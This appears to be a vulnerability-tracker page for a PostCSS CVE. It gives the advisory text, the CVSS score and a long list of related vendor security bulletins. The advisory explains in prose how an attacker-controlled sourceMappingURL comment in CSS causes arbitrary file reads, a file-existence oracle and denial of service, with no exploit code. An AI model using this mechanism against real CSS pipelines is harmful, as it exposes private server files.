PostCSS: Arbitrary file read and information disclosure via attacker-controlled sourceMappingURL in CSS comments
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-45623
PublishedPostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. In versions 8.5.11 and prior, the PreviousMap parses the /*# sourceMappingURL=PATH */ comment from any CSS string passed to process() and dereferences PATH against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting JSON.parse SyntaxError message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options — no from, no map, no plugins required — and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.). This issue has been fixed in version 8.5.12.
- Source published
- 27 Jul 2026 17:23:13 UTC
- Source modified
- 27 Jul 2026 17:44:31 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
euvd · EUVD-2026-49376
PublishedPostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. In versions 8.5.11 and prior, the PreviousMap parses the /*# sourceMappingURL=PATH */ comment from any CSS string passed to process() and dereferences PATH against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting JSON.parse SyntaxError message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options — no from, no map, no plugins required — and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.). This issue has been fixed in version 8.5.12.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jul 27, 2026, 5:23:13 PM
dateUpdated: Jul 27, 2026, 5:44:31 PM
40 related source bulletins · separate from aliases
RHSA-2026:57590: Red Hat Security Advisory: rh-podman-desktop security, bug fix, and enhancement update
CVE-2026-9595 · CVE-2026-12143 · CVE-2026-13149 · CVE-2026-13676 · CVE-2026-14257 · CVE-2026-34986 · CVE-2026-42338 · CVE-2026-42570 · CVE-2026-44705 · CVE-2026-45623 · CVE-2026-45736 · CVE-2026-45740 · CVE-2026-48068 · CVE-2026-48779 · CVE-2026-48801 · CVE-2026-49978 · CVE-2026-56876 · CVE-2026-59869 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59877 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192
RHSA-2026:63046: Red Hat Security Advisory: OpenShift Container Platform 4.21.32 bug fix and security update
CVE-2026-27136 · CVE-2026-33814 · CVE-2026-35469 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-69153 · CVE-2026-73566
RHSA-2026:65126: Red Hat Security Advisory: RHOAI 2.25.11 - Red Hat OpenShift AI
CVE-2025-61729 · CVE-2025-67030 · CVE-2026-4926 · CVE-2026-6734 · CVE-2026-9563 · CVE-2026-9697 · CVE-2026-12151 · CVE-2026-12243 · CVE-2026-13149 · CVE-2026-15075 · CVE-2026-15154 · CVE-2026-15378 · CVE-2026-15581 · CVE-2026-16745 · CVE-2026-18608 · CVE-2026-18611 · CVE-2026-18617 · CVE-2026-18620 · CVE-2026-18621 · CVE-2026-25681 · CVE-2026-26996 · CVE-2026-27136 · CVE-2026-27904 · CVE-2026-30922 · CVE-2026-32283 · CVE-2026-33231 · CVE-2026-33810 · CVE-2026-33811 · CVE-2026-33814 · CVE-2026-33870 · CVE-2026-33871 · CVE-2026-34445 · CVE-2026-35536 · CVE-2026-39821 · CVE-2026-39829 · CVE-2026-39835 · CVE-2026-40171 · CVE-2026-40192 · CVE-2026-40895 · CVE-2026-41178 · CVE-2026-42027 · CVE-2026-42215 · CVE-2026-42284 · CVE-2026-42338 · CVE-2026-42502 · CVE-2026-42508 · CVE-2026-42578 · CVE-2026-42579 · CVE-2026-42581 · CVE-2026-42583 · CVE-2026-42584 · CVE-2026-42587 · CVE-2026-44240 · CVE-2026-44244 · CVE-2026-44249 · CVE-2026-44431 · CVE-2026-44893 · CVE-2026-45112 · CVE-2026-45416 · CVE-2026-45623 · CVE-2026-45674 · CVE-2026-45736 · CVE-2026-45819 · CVE-2026-47691 · CVE-2026-48043 · CVE-2026-48059 · CVE-2026-48586 · CVE-2026-48779 · CVE-2026-49978 · CVE-2026-50010 · CVE-2026-50193 · CVE-2026-53550 · CVE-2026-54293 · CVE-2026-54512 · CVE-2026-55685 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-55851 · CVE-2026-56745 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-59869 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59885 · CVE-2026-59899 · CVE-2026-66036 · CVE-2026-66039 · CVE-2026-67313 · CVE-2026-67320 · CVE-2026-67322 · CVE-2026-67323 · CVE-2026-67324 · CVE-2026-67325 · CVE-2026-68494 · CVE-2026-69112 · CVE-2026-69152 · CVE-2026-69192 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-71281 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73415 · CVE-2026-73417 · CVE-2026-73566 · CVE-2026-73622 · CVE-2026-73623 · CVE-2026-73624 · CVE-2026-73625 · CVE-2026-73627 · CVE-2026-73643
RHSA-2026:59558: Red Hat Security Advisory: multicluster engine for Kubernetes v2.8.10 security update
CVE-2024-45336 · CVE-2025-22866 · CVE-2025-30204 · CVE-2026-10059 · CVE-2026-12143 · CVE-2026-19130 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-27145 · CVE-2026-39831 · CVE-2026-42502 · CVE-2026-45623 · CVE-2026-46595 · CVE-2026-46597 · CVE-2026-47219 · CVE-2026-54272 · CVE-2026-66794 · CVE-2026-66795 · CVE-2026-66804 · CVE-2026-66805 · CVE-2026-66808 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73266 · CVE-2026-73267 · CVE-2026-73268 · CVE-2026-73269
RHSA-2026:74503: Red Hat Security Advisory: Satellite 6.19.5 Async Update
CVE-2026-12405 · CVE-2026-12423 · CVE-2026-12540 · CVE-2026-12541 · CVE-2026-12542 · CVE-2026-12544 · CVE-2026-12545 · CVE-2026-33154 · CVE-2026-33818 · CVE-2026-42504 · CVE-2026-45623 · CVE-2026-54284 · CVE-2026-56097 · CVE-2026-56098 · CVE-2026-56858 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-59879 · CVE-2026-59893 · CVE-2026-71491 · CVE-2026-73086 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-78679 · CVE-2026-79654 · CVE-2026-84292 · CVE-2026-84394 · CVE-2026-87817 · CVE-2026-96658 · CVE-2026-96659
RHSA-2026:59583: Red Hat Security Advisory: Kiali 2.27.3 for Red Hat OpenShift Service Mesh 3.4
CVE-2026-14257 · CVE-2026-41178 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:67858: Red Hat Security Advisory: OpenShift Container Platform 4.15.69 bug fix and security update
CVE-2025-30204 · CVE-2026-33814 · CVE-2026-45623 · CVE-2026-46597 · CVE-2026-54423
RHSA-2026:56338: Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update
CVE-2026-9595 · CVE-2026-12143 · CVE-2026-14257 · CVE-2026-44705 · CVE-2026-45623 · CVE-2026-46625 · CVE-2026-54272 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:59548: Red Hat Security Advisory: Kiali 2.4.22 for Red Hat OpenShift Service Mesh 3.0
CVE-2026-14257 · CVE-2026-45149 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:67936: Red Hat Security Advisory: OpenShift Container Platform 4.16.71 bug fix and security update
CVE-2025-30204 · CVE-2026-33814 · CVE-2026-33818 · CVE-2026-42504 · CVE-2026-43003 · CVE-2026-44918 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-48801 · CVE-2026-56852 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-66138 · CVE-2026-69153
RHSA-2026:63355: Red Hat Security Advisory: General availability of the satellite/iop-host-inventory-frontend-rhel9 container image
CVE-2026-12143 · CVE-2026-45623 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:60441: Red Hat Security Advisory: OpenShift Container Platform 4.22.12 bug fix and security update
CVE-2026-27136 · CVE-2026-33814 · CVE-2026-42151 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-48801 · CVE-2026-54423 · CVE-2026-69153 · CVE-2026-73566
RHSA-2026:63103: Red Hat Security Advisory: OpenShift Container Platform 4.20.37 bug fix and security update
CVE-2026-33814 · CVE-2026-42151 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-69153 · CVE-2026-69192
RHSA-2026:68755: Red Hat Security Advisory: Technical preview of the satellite/iop-vulnerability-frontend-rhel9 container image
CVE-2026-12143 · CVE-2026-45623 · CVE-2026-45819 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73646 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172
RHSA-2026:56357: Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update
CVE-2026-9595 · CVE-2026-14257 · CVE-2026-45623 · CVE-2026-46625 · CVE-2026-54272 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:67838: Red Hat Security Advisory: OpenShift Container Platform 4.14.74 bug fix and security update
CVE-2026-33814 · CVE-2026-45623
openSUSE-SU-2026:12070-1: velociraptor-0.76.7.0.git145.b60ef1146-1.1 on GA media
CVE-2025-0914 · CVE-2026-12143 · CVE-2026-14257 · CVE-2026-17535 · CVE-2026-18348 · CVE-2026-18636 · CVE-2026-18638 · CVE-2026-18639 · CVE-2026-18860 · CVE-2026-27601 · CVE-2026-29074 · CVE-2026-41650 · CVE-2026-45623 · CVE-2026-49356 · CVE-2026-5329 · CVE-2026-53550 · CVE-2026-55602 · CVE-2026-56852 · CVE-2026-59869 · CVE-2026-6290 · CVE-2026-64951 · CVE-2026-64952 · CVE-2026-64954 · CVE-2026-65903 · CVE-2026-65912 · CVE-2026-65913 · CVE-2026-65914 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-6863 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-6948 · CVE-2026-73086 · CVE-2026-73646 · CVE-2026-73650 · CVE-2026-7572 · CVE-2026-7573 · CVE-2026-84369 · CVE-2026-84370
RHSA-2026:54427: Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.15.5 security update
CVE-2026-14362 · CVE-2026-25681 · CVE-2026-27145 · CVE-2026-42151 · CVE-2026-42502 · CVE-2026-44740 · CVE-2026-45623 · CVE-2026-66805
RHSA-2026:59593: Red Hat Security Advisory: multicluster engine for Kubernetes v2.17.2 security update
CVE-2026-13676 · CVE-2026-19130 · CVE-2026-27145 · CVE-2026-39829 · CVE-2026-39835 · CVE-2026-44740 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-47219 · CVE-2026-54272 · CVE-2026-59869 · CVE-2026-66794 · CVE-2026-66795 · CVE-2026-66804 · CVE-2026-66805 · CVE-2026-66808 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73266 · CVE-2026-73267 · CVE-2026-73268 · CVE-2026-73269
RHSA-2026:62260: Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.30.0 Release.
CVE-2025-55163 · CVE-2026-8286 · CVE-2026-9277 · CVE-2026-9547 · CVE-2026-9563 · CVE-2026-10050 · CVE-2026-10051 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-13149 · CVE-2026-15075 · CVE-2026-15076 · CVE-2026-27136 · CVE-2026-34986 · CVE-2026-39820 · CVE-2026-39831 · CVE-2026-39835 · CVE-2026-40898 · CVE-2026-40983 · CVE-2026-40984 · CVE-2026-41242 · CVE-2026-41695 · CVE-2026-41716 · CVE-2026-42264 · CVE-2026-42499 · CVE-2026-44705 · CVE-2026-45149 · CVE-2026-45416 · CVE-2026-45623 · CVE-2026-45674 · CVE-2026-46597 · CVE-2026-46681 · CVE-2026-47691 · CVE-2026-48020 · CVE-2026-48068 · CVE-2026-48491 · CVE-2026-49978 · CVE-2026-50010 · CVE-2026-50193 · CVE-2026-53488 · CVE-2026-53492 · CVE-2026-53622 · CVE-2026-54399 · CVE-2026-54428 · CVE-2026-54512 · CVE-2026-54513 · CVE-2026-54763 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-59296 · CVE-2026-59869 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59877 · CVE-2026-59888 · CVE-2026-59899 · CVE-2026-65600 · CVE-2026-65601 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-68494 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73566 · CVE-2026-73646 · CVE-2026-75838
RHSA-2026:68754: Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.30.1 Release.
CVE-2026-4800 · CVE-2026-45623 · CVE-2026-45819 · CVE-2026-47219 · CVE-2026-48801 · CVE-2026-54272 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-59887 · CVE-2026-59899 · CVE-2026-67213 · CVE-2026-67312 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-71436 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73508 · CVE-2026-73566 · CVE-2026-73646 · CVE-2026-75899 · CVE-2026-75931 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-82562 · CVE-2026-84292 · CVE-2026-84375 · CVE-2026-84394
WID-SEC-W-2026-2923: Atlassian Produkte (Bamboo, Bitbucket, Confluence, Crucible, Fisheye, und Jira): Mehrere Schwachstellen
CVE-2019-13990 · CVE-2021-44906 · CVE-2022-1471 · CVE-2022-23521 · CVE-2022-3517 · CVE-2022-41903 · CVE-2023-22518 · CVE-2023-22522 · CVE-2023-22523 · CVE-2023-22524 · CVE-2023-22527 · CVE-2023-45133 · CVE-2023-46604 · CVE-2025-14813 · CVE-2026-0603 · CVE-2026-10050 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-12802 · CVE-2026-12803 · CVE-2026-12816 · CVE-2026-13149 · CVE-2026-13506 · CVE-2026-13676 · CVE-2026-14257 · CVE-2026-14682 · CVE-2026-16221 · CVE-2026-18446 · CVE-2026-21582 · CVE-2026-2332 · CVE-2026-24734 · CVE-2026-25639 · CVE-2026-27601 · CVE-2026-27606 · CVE-2026-29786 · CVE-2026-3505 · CVE-2026-40983 · CVE-2026-40984 · CVE-2026-41284 · CVE-2026-41842 · CVE-2026-41845 · CVE-2026-41850 · CVE-2026-41851 · CVE-2026-41907 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42041 · CVE-2026-42198 · CVE-2026-42583 · CVE-2026-42587 · CVE-2026-43513 · CVE-2026-44249 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44490 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-45416 · CVE-2026-45623 · CVE-2026-46625 · CVE-2026-47838 · CVE-2026-4800 · CVE-2026-48043 · CVE-2026-48779 · CVE-2026-48801 · CVE-2026-50010 · CVE-2026-53434 · CVE-2026-54291 · CVE-2026-54512 · CVE-2026-54513 · CVE-2026-55685 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56819 · CVE-2026-58059 · CVE-2026-58060 · CVE-2026-59639 · CVE-2026-59642 · CVE-2026-59869 · CVE-2026-59871 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59887 · CVE-2026-59901 · CVE-2026-6321 · CVE-2026-6322 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69192
msrc_CVE-2026-45623: PostCSS: Arbitrary file read and information disclosure via attacker-controlled sourceMappingURL in CSS comments
CVE-2026-45623
RHSA-2026:74621: Red Hat Security Advisory: General availability of the satellite/iop-advisor-frontend-rhel9 container image
CVE-2026-45623
RHSA-2026:59566: Red Hat Security Advisory: Kiali 2.22.9 for Red Hat OpenShift Service Mesh 3.3
CVE-2026-14257 · CVE-2026-45149 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67314 · CVE-2026-67320 · CVE-2026-67321 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:57191: Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.16.3 security update
CVE-2026-13676 · CVE-2026-14362 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-33377 · CVE-2026-33811 · CVE-2026-33814 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-42151 · CVE-2026-42502 · CVE-2026-42504 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-44740 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-46384 · CVE-2026-46385 · CVE-2026-53488 · CVE-2026-59869 · CVE-2026-66799 · CVE-2026-66804 · CVE-2026-69153 · CVE-2026-73086
RHSA-2026:63047: Red Hat Security Advisory: OpenShift Container Platform 4.19.46 bug fix and security update
CVE-2026-12143 · CVE-2026-33814 · CVE-2026-45623 · CVE-2026-48801 · CVE-2026-54423 · CVE-2026-66138 · CVE-2026-69153
RHSA-2026:60520: Red Hat Security Advisory: RHOAI 3.4.4 - Red Hat OpenShift AI
CVE-2025-66471 · CVE-2025-66626 · CVE-2025-71329 · CVE-2025-71330 · CVE-2026-0545 · CVE-2026-2614 · CVE-2026-5241 · CVE-2026-5422 · CVE-2026-6322 · CVE-2026-6734 · CVE-2026-8643 · CVE-2026-9697 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-12243 · CVE-2026-12481 · CVE-2026-13149 · CVE-2026-13311 · CVE-2026-13676 · CVE-2026-13717 · CVE-2026-14450 · CVE-2026-15154 · CVE-2026-15218 · CVE-2026-15378 · CVE-2026-15467 · CVE-2026-15581 · CVE-2026-16745 · CVE-2026-18608 · CVE-2026-18611 · CVE-2026-18617 · CVE-2026-18620 · CVE-2026-18621 · CVE-2026-18948 · CVE-2026-18951 · CVE-2026-18982 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-32280 · CVE-2026-32283 · CVE-2026-33079 · CVE-2026-33245 · CVE-2026-33811 · CVE-2026-33814 · CVE-2026-34993 · CVE-2026-35397 · CVE-2026-39820 · CVE-2026-39821 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39831 · CVE-2026-39835 · CVE-2026-40171 · CVE-2026-41672 · CVE-2026-41673 · CVE-2026-41675 · CVE-2026-42211 · CVE-2026-42215 · CVE-2026-42264 · CVE-2026-42266 · CVE-2026-42284 · CVE-2026-42305 · CVE-2026-42311 · CVE-2026-42338 · CVE-2026-42342 · CVE-2026-42499 · CVE-2026-42502 · CVE-2026-42508 · CVE-2026-42557 · CVE-2026-44017 · CVE-2026-44018 · CVE-2026-44020 · CVE-2026-44240 · CVE-2026-44244 · CVE-2026-44289 · CVE-2026-44290 · CVE-2026-44291 · CVE-2026-44292 · CVE-2026-44293 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-44513 · CVE-2026-44660 · CVE-2026-44705 · CVE-2026-44724 · CVE-2026-44727 · CVE-2026-44827 · CVE-2026-44843 · CVE-2026-45292 · CVE-2026-45623 · CVE-2026-45736 · CVE-2026-45740 · CVE-2026-45804 · CVE-2026-46595 · CVE-2026-46597 · CVE-2026-46625 · CVE-2026-47214 · CVE-2026-48526 · CVE-2026-48710 · CVE-2026-48712 · CVE-2026-48779 · CVE-2026-48801 · CVE-2026-49476 · CVE-2026-49477 · CVE-2026-49851 · CVE-2026-49978 · CVE-2026-50193 · CVE-2026-53550 · CVE-2026-54058 · CVE-2026-54060 · CVE-2026-54283 · CVE-2026-54293 · CVE-2026-55379 · CVE-2026-55380 · CVE-2026-55685 · CVE-2026-56121 · CVE-2026-56208 · CVE-2026-56209 · CVE-2026-56210 · CVE-2026-56211 · CVE-2026-58049 · CVE-2026-59197 · CVE-2026-59199 · CVE-2026-59200 · CVE-2026-59204 · CVE-2026-59205 · CVE-2026-59869 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59884 · CVE-2026-59885 · CVE-2026-59886 · CVE-2026-64835 · CVE-2026-64849 · CVE-2026-69152 · CVE-2026-69192 · CVE-2026-69243 · CVE-2026-69244
NCSC-2026-0325: Kwetsbaarheden verholpen in Atlassian producten
CVE-2021-44906 · CVE-2022-3517 · CVE-2023-45133 · CVE-2025-14813 · CVE-2026-0603 · CVE-2026-2332 · CVE-2026-3505 · CVE-2026-4800 · CVE-2026-6321 · CVE-2026-6322 · CVE-2026-10050 · CVE-2026-12143 · CVE-2026-12151 · CVE-2026-12802 · CVE-2026-12803 · CVE-2026-12816 · CVE-2026-13149 · CVE-2026-13506 · CVE-2026-13676 · CVE-2026-14257 · CVE-2026-14682 · CVE-2026-16221 · CVE-2026-18446 · CVE-2026-21582 · CVE-2026-24734 · CVE-2026-25639 · CVE-2026-27601 · CVE-2026-27606 · CVE-2026-29786 · CVE-2026-40983 · CVE-2026-40984 · CVE-2026-41284 · CVE-2026-41842 · CVE-2026-41845 · CVE-2026-41850 · CVE-2026-41851 · CVE-2026-41907 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42041 · CVE-2026-42198 · CVE-2026-42583 · CVE-2026-42587 · CVE-2026-43513 · CVE-2026-44249 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44490 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-45416 · CVE-2026-45623 · CVE-2026-46625 · CVE-2026-47838 · CVE-2026-48043 · CVE-2026-48779 · CVE-2026-48801 · CVE-2026-50010 · CVE-2026-53434 · CVE-2026-54291 · CVE-2026-54512 · CVE-2026-54513 · CVE-2026-55685 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56819 · CVE-2026-58059 · CVE-2026-58060 · CVE-2026-59639 · CVE-2026-59642 · CVE-2026-59869 · CVE-2026-59871 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59887 · CVE-2026-59901 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69192
RHSA-2026:59554: Red Hat Security Advisory: Kiali 2.17.13 for Red Hat OpenShift Service Mesh 3.2
CVE-2026-14257 · CVE-2026-45149 · CVE-2026-45623 · CVE-2026-54272 · CVE-2026-67313 · CVE-2026-67320 · CVE-2026-69152 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73088 · CVE-2026-73089
RHSA-2026:83598: Red Hat Security Advisory: RHTAS 1.4.4 - Red Hat Trusted Artifact Signer Release
CVE-2026-4800 · CVE-2026-41178 · CVE-2026-45623 · CVE-2026-56854 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-69153 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73500 · CVE-2026-73643 · CVE-2026-73646 · CVE-2026-84375 · CVE-2026-84445 · CVE-2026-93749
WID-SEC-W-2026-3376: Atlassian Bamboo, Bitbucket, Confluence, Fisheye/Crucible, Jira Software und Jira Service Management: Mehrere Schwachstellen
CVE-2022-46175 · CVE-2026-12143 · CVE-2026-12802 · CVE-2026-12803 · CVE-2026-12816 · CVE-2026-13506 · CVE-2026-13676 · CVE-2026-14257 · CVE-2026-14682 · CVE-2026-16221 · CVE-2026-18446 · CVE-2026-21582 · CVE-2026-42583 · CVE-2026-44249 · CVE-2026-44728 · CVE-2026-45416 · CVE-2026-45623 · CVE-2026-45674 · CVE-2026-47691 · CVE-2026-47759 · CVE-2026-47761 · CVE-2026-47762 · CVE-2026-4800 · CVE-2026-48043 · CVE-2026-48801 · CVE-2026-50010 · CVE-2026-53404 · CVE-2026-53434 · CVE-2026-54428 · CVE-2026-54512 · CVE-2026-54513 · CVE-2026-55153 · CVE-2026-55276 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-56745 · CVE-2026-56819 · CVE-2026-58059 · CVE-2026-58060 · CVE-2026-59639 · CVE-2026-59642 · CVE-2026-59650 · CVE-2026-59869 · CVE-2026-59879 · CVE-2026-59880 · CVE-2026-59887 · CVE-2026-59901 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-67320 · CVE-2026-68763 · CVE-2026-69152 · CVE-2026-73086 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73507 · CVE-2026-73566 · CVE-2026-73646 · CVE-2026-75140 · CVE-2026-75595 · CVE-2026-75899 · CVE-2026-75975 · CVE-2026-76172 · CVE-2026-8763
RHSA-2026:57194: Red Hat Security Advisory: multicluster engine for Kubernetes v2.11.5 security update
CVE-2024-45336 · CVE-2025-22866 · CVE-2026-13676 · CVE-2026-25680 · CVE-2026-25681 · CVE-2026-27136 · CVE-2026-27141 · CVE-2026-27145 · CVE-2026-33811 · CVE-2026-33814 · CVE-2026-39817 · CVE-2026-39819 · CVE-2026-39820 · CVE-2026-39821 · CVE-2026-39823 · CVE-2026-39825 · CVE-2026-39826 · CVE-2026-39827 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39831 · CVE-2026-39832 · CVE-2026-39833 · CVE-2026-39834 · CVE-2026-39835 · CVE-2026-39836 · CVE-2026-42499 · CVE-2026-42502 · CVE-2026-42504 · CVE-2026-42506 · CVE-2026-42507 · CVE-2026-42508 · CVE-2026-44740 · CVE-2026-44990 · CVE-2026-45623 · CVE-2026-46597 · CVE-2026-46598 · CVE-2026-59869 · CVE-2026-66804 · CVE-2026-66805 · CVE-2026-66808 · CVE-2026-69153 · CVE-2026-73086
RHSA-2026:59559: Red Hat Security Advisory: multicluster engine for Kubernetes v2.9.7 security update
CVE-2024-45336 · CVE-2025-22866 · CVE-2026-10059 · CVE-2026-12143 · CVE-2026-19130 · CVE-2026-27136 · CVE-2026-27145 · CVE-2026-33811 · CVE-2026-39829 · CVE-2026-39831 · CVE-2026-42502 · CVE-2026-44740 · CVE-2026-45623 · CVE-2026-46597 · CVE-2026-47219 · CVE-2026-54272 · CVE-2026-59869 · CVE-2026-66794 · CVE-2026-66795 · CVE-2026-66804 · CVE-2026-66805 · CVE-2026-66808 · CVE-2026-67213 · CVE-2026-67214 · CVE-2026-69153 · CVE-2026-69192 · CVE-2026-73086 · CVE-2026-73266 · CVE-2026-73267 · CVE-2026-73268 · CVE-2026-73269
RHSA-2026:61783: Red Hat Security Advisory: A Subscription Management tool for finding and reporting Red Hat product usage
